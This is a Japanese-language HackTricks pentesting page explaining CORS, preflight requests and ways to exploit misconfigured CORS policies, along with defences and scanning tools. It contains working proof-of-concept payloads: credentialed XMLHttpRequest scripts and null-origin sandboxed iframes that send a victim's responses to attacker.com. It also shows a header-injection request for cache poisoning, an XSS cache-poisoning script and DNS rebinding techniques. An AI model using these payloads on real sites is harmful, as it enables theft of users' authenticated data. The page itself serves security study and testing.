hacktricks/pentesting-web/cors-bypass.md

# CORS - Misconfigurations & Bypass

<details>

<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

HackTricksをサポートする他の方法：

- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。

</details>

<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

## CORSとは？

Cross-Origin Resource Sharing（CORS）標準は、**サーバーがアクセスを許可する対象**と**外部ソースから許可されるHTTPリクエストメソッド**を定義できるようにします。

**同一オリジン**ポリシーは、リソースを要求するサーバーとリソースをホストするサーバーが同じプロトコル（例：`http://`）、ドメイン名（例：`internal-web.com`）、および**ポート**（例：80）を共有する必要があると規定しています。このポリシーでは、同じドメインとポートのウェブページのみがリソースにアクセスできます。

`http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーを適用した場合の例：

| アクセスされるURL                         | アクセスが許可されるか？                 |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/`      | はい：同一のスキーム、ドメイン、およびポート |
| `http://normal-website.com/example2/`     | はい：同一のスキーム、ドメイン、およびポート |
| `https://normal-website.com/example/`     | いいえ：異なるスキームとポート           |
| `http://en.normal-website.com/example/`   | いいえ：異なるドメイン                    |
| `http://www.normal-website.com/example/`  | いいえ：異なるドメイン                    |
| `http://normal-website.com:8080/example/` | いいえ：異なるポート\*                    |

\*Internet Explorerは同一オリジンポリシーの適用時にポート番号を無視し、このアクセスを許可します。

### `Access-Control-Allow-Origin`ヘッダー

このヘッダーは**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可できます。ただし、**どのブラウザも複数のオリジンをサポートしておらず**、ワイルドカード`*`の使用は**制限**の対象です（ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と併用することは許可されていません）。

このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対するサーバーから**発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。

### `Access-Control-Allow-Credentials`ヘッダー

**デフォルト**では、クロスオリジンリクエストはクッキーやAuthorizationヘッダーなどの資格情報なしで行われます。ただし、クロスドメインサーバーは、`Access-Control-Allow-Credentials`ヘッダーを**`true`**に設定することで、資格情報が送信された場合に応答の読み取りを許可できます。

`true`に設定されている場合、ブラウザは資格情報（クッキー、認証ヘッダー、またはTLSクライアント証明書）を送信します。
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```

```javascript
fetch(url, {
credentials: 'include'
})
```

```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF プリフライトリクエスト

### クロスドメイン通信におけるプリフライトリクエストの理解

特定の条件下でクロスドメインリクエストを開始する際、**標準外のHTTPメソッド**（HEAD、GET、POST以外のもの）、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この事前リクエストは、**`OPTIONS`**メソッドを利用して、サーバーにクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。

**Cross-Origin Resource Sharing (CORS)** プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) で提供されている包括的なガイドを参照してください。

重要な点として、**プリフライトリクエストの不在は、レスポンスが認証ヘッダーを含む必要性を無効にするものではありません**。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力を失います。

以下は、`PUT`メソッドとカスタムヘッダー`Special-Request-Header`を使用するプリフライトリクエストの例です：
```
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
以下は、サーバーが受け入れるメソッド、許可されるオリジン、およびその他のCORSポリシーの詳細を示すヘッダーを返す可能性があります。
```markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: このヘッダーは、実際のリクエスト中に使用できるヘッダーを指定します。サーバーによって設定され、クライアントからのリクエストで許可されたヘッダーを示します。
* **`Access-Control-Expose-Headers`**: このヘッダーを通じて、サーバーは単純なレスポンスヘッダーに加えて、どのヘッダーがレスポンスの一部として公開されるかをクライアントに通知します。
* **`Access-Control-Max-Age`**: このヘッダーは、プリフライトリクエストの結果をキャッシュできる期間を示します。サーバーは、プリフライトリクエストによって返される情報が再利用される可能性がある最大時間（秒単位）を設定します。
* **`Access-Control-Request-Headers`**: プリフライトリクエストで使用され、このヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーについてサーバーに通知するために設定されます。
* **`Access-Control-Request-Method`**: このヘッダーもプリフライトリクエストで使用され、クライアントによって設定され、実際のリクエストで使用されるHTTPメソッドを示します。
* **`Origin`**: このヘッダーはブラウザによって自動的に設定され、クロスオリジンリクエストの起源を示します。サーバーは、CORSポリシーに基づいて受信リクエストを許可するか拒否するかを評価するために使用されます。

通常（コンテンツタイプと設定されたヘッダーに応じて）、**GET/POSTリクエストではプリフライトリクエストが送信されません**（リクエストは**直接**送信されます）。ただし、レスポンスの**ヘッダー/本文にアクセス**したい場合は、それを許可する _Access-Control-Allow-Origin_ ヘッダーを含める必要があります。\
**したがって、CORSはCSRFに対して保護されていません（ただし、役立つ場合があります）。**

### **ローカルネットワークリクエストのプリフライトリクエスト**

1. **`Access-Control-Request-Local-Network`**: このヘッダーは、クライアントのリクエストに含まれ、問い合わせがローカルネットワークリソースを対象としていることを示します。サーバーにリクエストがローカルネットワーク内から発信されたことを通知するマーカーとして機能します。
2. **`Access-Control-Allow-Local-Network`**: サーバーはこのヘッダーを利用して、要求されたリソースがローカルネットワーク外のエンティティと共有できることを伝えます。異なるネットワーク境界を越えてリソースを共有することを許可し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。

**ローカルネットワークリクエストを許可する有効な応答**は、応答にも `Access-Controls-Allow-Local_network: true` ヘッダーを含める必要があります。
```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
**注意**：Linuxの **0.0.0.0** IP はこれらの要件を **バイパス** してlocalhostにアクセスするために機能します。このIPアドレスは「ローカル」と見なされないためです。

また、**ローカルネットワークの要件をバイパス** することも可能です。これは、**ローカルエンドポイントのパブリックIPアドレス**（たとえば、ルーターのパブリックIP）を使用する場合に当てはまります。なぜなら、いくつかの場合には、**ローカルネットワークからアクセスされている場合**、たとえ**パブリックIP**にアクセスされていても、アクセスが許可されるからです。
{% endhint %}

## 悪用可能なミス構成

`Access-Control-Allow-Credentials` を **`true`** に設定することが、ほとんどの **実際の攻撃** に必要なことが観察されています。この設定により、ブラウザが資格情報を送信し、応答を読み取ることが許可され、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。

### 例外：ネットワークロケーションを認証として悪用する

被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスすることが可能となります。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用できます。

### `Access-Control-Allow-Origin` で `Origin` の反映

`Origin` ヘッダーの値が `Access-Control-Allow-Origin` に反映される実際のシナリオは、これらのヘッダーを組み合わせる制限があるため、理論的にはあり得ないです。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Origin` ヘッダーの値をコピーして `Access-Control-Allow-Origin` ヘッダーを動的に生成することがあります。このアプローチは、攻撃者が正規のように見えるドメインを使用して検証ロジックを欺くことで、脆弱性を導入する可能性があります。
```html
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
```
### `null`オリジンの悪用

`null`オリジンは、リダイレクトやローカルHTMLファイルなどの状況を指定するために指定されており、固有の位置を占めています。一部のアプリケーションは、ローカル開発を容易にするためにこのオリジンをホワイトリストに登録していますが、それにより、サンドボックス化されたiframeを介して任意のウェブサイトが`null`オリジンを模倣することが可能となり、CORS制限をバイパスすることができます。
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### 正規表現バイパステクニック

ドメインのホワイトリストに遭遇した場合、攻撃者のドメインをホワイトリストに追加したり、サブドメインの乗っ取りの脆弱性を悪用したりするなど、バイパスの機会をテストすることが重要です。さらに、ドメインの検証に使用される正規表現は、ドメインの命名規則の微妙な点を見落とす可能性があり、さらなるバイパスの機会を提供します。

### 高度な正規表現バイパス

正規表現パターンは通常、英数字、ドット（.）、ハイフン（-）の文字に焦点を当てており、他の可能性を無視しています。たとえば、ブラウザや正規表現パターンによって異なる解釈される文字を含むドメイン名は、セキュリティチェックをバイパスすることができます。Safari、Chrome、Firefoxがサブドメイン内のアンダースコア文字を処理する方法は、このような相違点がドメインの検証ロジックを回避するために悪用される方法を示しています。

**このバイパスチェックの詳細情報と設定については:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **および** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)

### サブドメイン内のXSSから

開発者は、情報をリクエストすることが許可されているドメインをホワイトリストに登録することで、CORSの悪用に対する防御メカニズムを実装することがよくあります。しかし、これらの予防措置にもかかわらず、システムのセキュリティは万全ではありません。ホワイトリストに含まれる脆弱なサブドメインがあるだけで、XSS（クロスサイトスクリプティング）などの他の脆弱性を介してCORSの悪用への道が開かれる可能性があります。

例として、`requester.com`というドメインが、別のドメインである`provider.com`からリソースにアクセスすることが許可されるようにホワイトリストに登録されているシナリオを考えてみましょう。サーバーサイドの構成は次のようになるかもしれません：
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}
```
このセットアップでは、`requester.com` のすべてのサブドメインがアクセスを許可されています。ただし、`sub.requester.com` のようなサブドメインがXSSの脆弱性で侵害されると、攻撃者はこの弱点を悪用できます。例えば、`sub.requester.com` にアクセス権限を持つ攻撃者は、XSSの脆弱性を悪用して、CORSポリシーをバイパスし、`provider.com` のリソースに悪意を持ってアクセスすることができます。

### **サーバーサイドキャッシュポイズニング**

[**この研究から**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

HTTPヘッダーインジェクションを介してサーバーサイドキャッシュポイズニングを悪用することで、格納されたクロスサイトスクリプティング（XSS）の脆弱性を誘発する可能性があります。このシナリオは、アプリケーションが`Origin`ヘッダーを違法な文字でサニタイズしない場合に発生し、特にInternet ExplorerとEdgeのユーザーにとって脆弱性を作成します。これらのブラウザは、(0x0d)を正当なHTTPヘッダー終端子として扱い、HTTPヘッダーインジェクションの脆弱性を引き起こします。

次のリクエストを考慮してください。`Origin`ヘッダーが操作されています：
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet ExplorerとEdgeは、レスポンスを次のように解釈します：
```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
直接的にこの脆弱性を悪用してウェブブラウザが不正なヘッダを送信することは実現可能ではありませんが、Burp Suiteなどのツールを使用して手動で生成された作成されたリクエストは、サーバーサイドキャッシュが応答を保存し、他のユーザーに提供される可能性があります。 作成されたペイロードは、ページの文字セットをUTF-7に変更することを目的としており、これは特定のコンテキストでスクリプトとして実行できるように文字をエンコードする能力を持つため、XSS脆弱性にしばしば関連付けられています。

格納されたXSS脆弱性に関する詳細は、[PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)を参照してください。

**注意**: 特にサーバーサイドキャッシュポイズニングを通じたHTTPヘッダーインジェクション脆弱性の悪用は、HTTPヘッダーを含むすべてのユーザー提供入力の検証とサニタイズの重要性を強調しています。 このような脆弱性を防ぐために入力検証を含む堅牢なセキュリティモデルを常に採用してください。

### **クライアントサイドキャッシュポイズニング**

[**この研究から**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)

このシナリオでは、適切なエンコーディングなしにカスタムHTTPヘッダーの内容を反映するウェブページのインスタンスが観察されます。 具体的には、ウェブページは、`X-User-id`ヘッダーに含まれる内容を反映し、この内容にはロード時にJavaScriptコードを実行するように設計されたSVGイメージタグが含まれる例によって示されるように、悪意のあるJavaScriptを含む可能性があります。

Cross-Origin Resource Sharing（CORS）ポリシーにより、カスタムヘッダーの送信が可能になります。 ただし、CORS制限によりブラウザによって直接レンダリングされない場合、そのようなインジェクションの有用性は限定されているように見えるかもしれません。 重要な点は、ブラウザのキャッシュ動作を考慮する際に発生します。 `Vary: Origin`ヘッダーが指定されていない場合、ブラウザによって悪意のある応答がキャッシュされる可能性があります。 その後、このキャッシュされた応答は、初回リクエスト時の直接レンダリングをバイパスして、URLに移動する際に直接レンダリングされる可能性があります。 このメカニズムは、クライアントサイドキャッシングを活用することで攻撃の信頼性を高めます。

この攻撃を説明するために、JavaScriptの例が提供されており、JSFiddleなどの環境でウェブページの環境で実行されるように設計されています。 このスクリプトは単純なアクションを実行します：悪意のあるJavaScriptを含むカスタムヘッダーを含む指定されたURLにリクエストを送信します。 リクエストが正常に完了すると、ターゲットURLに移動し、`Vary: Origin`ヘッダーの適切な処理が行われずに応答がキャッシュされている場合、注入されたスクリプトの実行をトリガーする可能性があります。

この攻撃を実行するために使用されるJavaScriptの要約を以下に示します：
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## バイパス

### XSSI（Cross-Site Script Inclusion）/ JSONP

XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は、スクリプトタグを使用してリソースを含む際に同一オリジンポリシー（SOP）が適用されないという事実を利用するタイプの脆弱性です。これは、スクリプトが異なるドメインから含まれる必要があるためです。この脆弱性により、攻撃者はスクリプトタグを使用して含まれた任意のコンテンツにアクセスして読むことができます。

この脆弱性は、特にダイナミックなJavaScriptやJSONP（Padding付きJSON）に関連する場合に特に重要です。特に、クッキーなどの環境権限情報が認証に使用される場合です。異なるホストからリソースを要求する際、クッキーが含まれ、それにより攻撃者がアクセスできるようになります。

この脆弱性をよりよく理解し、緩和するためには、[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)で利用可能なBurpSuiteプラグインを使用できます。このプラグインは、WebアプリケーションでのXSSI脆弱性を特定し対処するのに役立ちます。

[**異なる種類のXSSIとその悪用方法について詳しく読むにはこちらをクリックしてください。**](xssi-cross-site-script-inclusion.md)

リクエストに **`callback`** **パラメータ** を追加してみてください。ページがJSONPとしてデータを送信するように準備されている可能性があります。その場合、ページは`Content-Type: application/javascript`でデータを返し、CORSポリシーをバイパスします。

![](<../.gitbook/assets/image (853).png>)

### 簡単（無意味？）なバイパス

`Access-Control-Allow-Origin` 制限をバイパスする方法の1つは、Webアプリケーションにリクエストしてもらい、その応答を返すようにすることです。ただし、このシナリオでは、最終的な被害者の資格情報は異なるドメインにリクエストが行われるため送信されません。

1. [**CORS-escape**](https://github.com/shalvah/cors-escape): このツールは、リクエストとそのヘッダーを転送するプロキシを提供し、同時にOriginヘッダーをリクエストされたドメインに一致するようにスプーフィングします。これにより、CORSポリシーがバイパスされます。以下はXMLHttpRequestを使用した例です。
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): このツールは、リクエストをそのまま渡す代わりに、サーバーが指定されたパラメータで独自のリクエストを行う方法を提供します。

### Iframe + Popup バイパス

`e.origin === window.origin` のようなCORSチェックを **バイパス** する方法は、**iframeを作成**し、**そこから新しいウィンドウを開く**ことです。詳細は以下のページで確認できます：

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### TTL経由のDNSリバインディング

TTL経由のDNSリバインディングは、DNSレコードを操作して特定のセキュリティ対策をバイパスするための技術です。動作方法は次のとおりです：

1. 攻撃者はWebページを作成し、被害者にアクセスさせます。
2. 攻撃者は自分のドメインのDNS（IP）を被害者のWebページを指すように変更します。
3. 被害者のブラウザはDNS応答をキャッシュし、TTL（Time to Live）値がDNSレコードが有効と見なすべき期間を示す場合があります。
4. TTLが切れると、被害者のブラウザは新しいDNSリクエストを行い、攻撃者は被害者のページでJavaScriptコードを実行できます。
5. 被害者のIPを制御することで、攻撃者は被害者からクッキーを送信せずに情報を収集できます。

この技術は、ブラウザによるキャッシュメカニズムがあるため、TTL値が低くてもこの技術をすぐに悪用することが防がれる可能性があることに注意してください。

DNSリバインディングは、被害者によって実行される明示的なIPチェックをバイパスするためや、ユーザーやボットが同じページに長時間滞在するシナリオなどで、キャッシュが切れるのを待つことができる場合に有用です。

DNSリバインディングを素早く悪用する必要がある場合は、[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)のようなサービスを利用できます。

独自のDNSリバインディングサーバーを実行するには、**DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))のようなツールを利用できます。これには、ローカルポート53/udpを公開し、それを指すAレコードを作成（例：ns.example.com）、以前に作成したAサブドメインを指すNSレコードを作成する必要があります。ns.example.comサブドメインの任意のサブドメインは、あなたのホストによって解決されます。

さらに理解と実験のために、[http://rebind.it/singularity.html](http://rebind.it/singularity.html)で公開されているサーバーを探索することもできます。

### DNSリバインディング経由の **DNSキャッシュフラッディング**

DNSリバインディング経由のDNSキャッシュフラッディングは、ブラウザのキャッシュメカニズムをバイパスし、2回目のDNSリクエストを強制するための別の技術です。動作方法は次のとおりです：

1. 最初に、被害者がDNSリクエストを行うと、攻撃者のIPアドレスで応答されます。
2. キャッシュ防御をバイパスするために、攻撃者はサービスワーカーを利用します。サービスワーカーはDNSキャッシュをフラッドし、キャッシュされた攻撃者のサーバー名を効果的に削除します。
3. 被害者のブラウザが2回目のDNSリクエストを行うと、IPアドレス127.0.0.1で応答されるようになります。通常、これはlocalhostを指します。

サービスワーカーによるDNSキャッシュのフラッディングにより、攻撃者はDNS解決プロセスを操作し、被害者のブラウザに2回目のリクエストを強制し、今度は攻撃者が望むIPアドレスに解決させることができます。

### キャッシュ経由のDNSリバインディング

キャッシュ防御をバイパスする別の方法は、DNSプロバイダーで同じサブドメインに複数のIPアドレスを利用することです。動作方法は次のとおりです：

1. 攻撃者はDNSプロバイダーで同じサブドメインの2つのAレコード（または2つのIPを持つ1つのAレコード）を設定します。
2. ブラウザがこれらのレコードをチェックすると、両方のIPアドレスが受け取られます。
3. ブラウザが最初に攻撃者のIPアドレスを使用することを決定した場合、攻撃者は同じドメインへのHTTPリクエストを実行するペイロードを提供できます。
4. ただし、攻撃者が被害者のIPアドレスを取得したら、被害者のブラウザに応答を停止します。
5. ブラウザは、ドメインが応答しないことを認識すると、2番目に指定されたIPアドレスを使用し始めます。
6. 2番目のIPアドレスにアクセスすることで、ブラウザは同一オリジンポリシー（SOP）をバイパスし、攻撃者はこれを悪用して情報を収集および外部送信できます。

この技術は、1つのドメインに複数のIPアドレスが提供された場合のブラウザの動作を活用します。応答を戦略的に制御し、ブラウザがどのIPアドレスを選択するかを操作することで、攻撃者はSOPを悪用し、被害者から情報にアクセスできます。

{% hint style="warning" %}
localhostにアクセスするためには、Windowsでは **127.0.0.1**、Linuxでは **0.0.0.0** を再バインドする必要があります。\
GodaddyやCloudflareなどのプロバイダーでは、IP **0.0.0.0** を使用することができませんでしたが、AWS Route53では1つのAレコードを作成し、そのうちの1つを "0.0.0.0" にすることができました。

<img src="../.gitbook/assets/image (137).png" alt="" data-size="original">
{% endhint %}

詳細については、[https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)を参照してください。
### その他の一般的なバイパス

* もし**内部IPが許可されていない**場合、**0.0.0.0を禁止するのを忘れている**可能性があります（LinuxとMacで機能します）
* もし**内部IPが許可されていない**場合、**localhost**への**CNAME**で応答する（LinuxとMacで機能します）
* **内部IPがDNS応答として許可されていない**場合、www.corporate.internalなどの**内部サービスへのCNAME**で応答できます。

### DNS Rebiddingの武器化

前述のバイパス技術に関する詳細情報や以下のツールの使用方法については、[Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)での講演を参照してください。

[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)は、[DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)攻撃を実行するためのツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。

### DNS Rebindingに対する実際の保護

* 内部サービスでTLSを使用する
* データにアクセスするための認証を要求する
* Hostヘッダーを検証する
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): パブリックサーバーが内部サーバーにアクセスする際に常にプリフライトリクエストを送信するための提案

## **ツール**

**CORSポリシーの可能なミス構成をファジング**

* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
* [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)

## 参考文献

* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)


<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

<details>

<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

HackTricksをサポートする他の方法：

* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。

</details>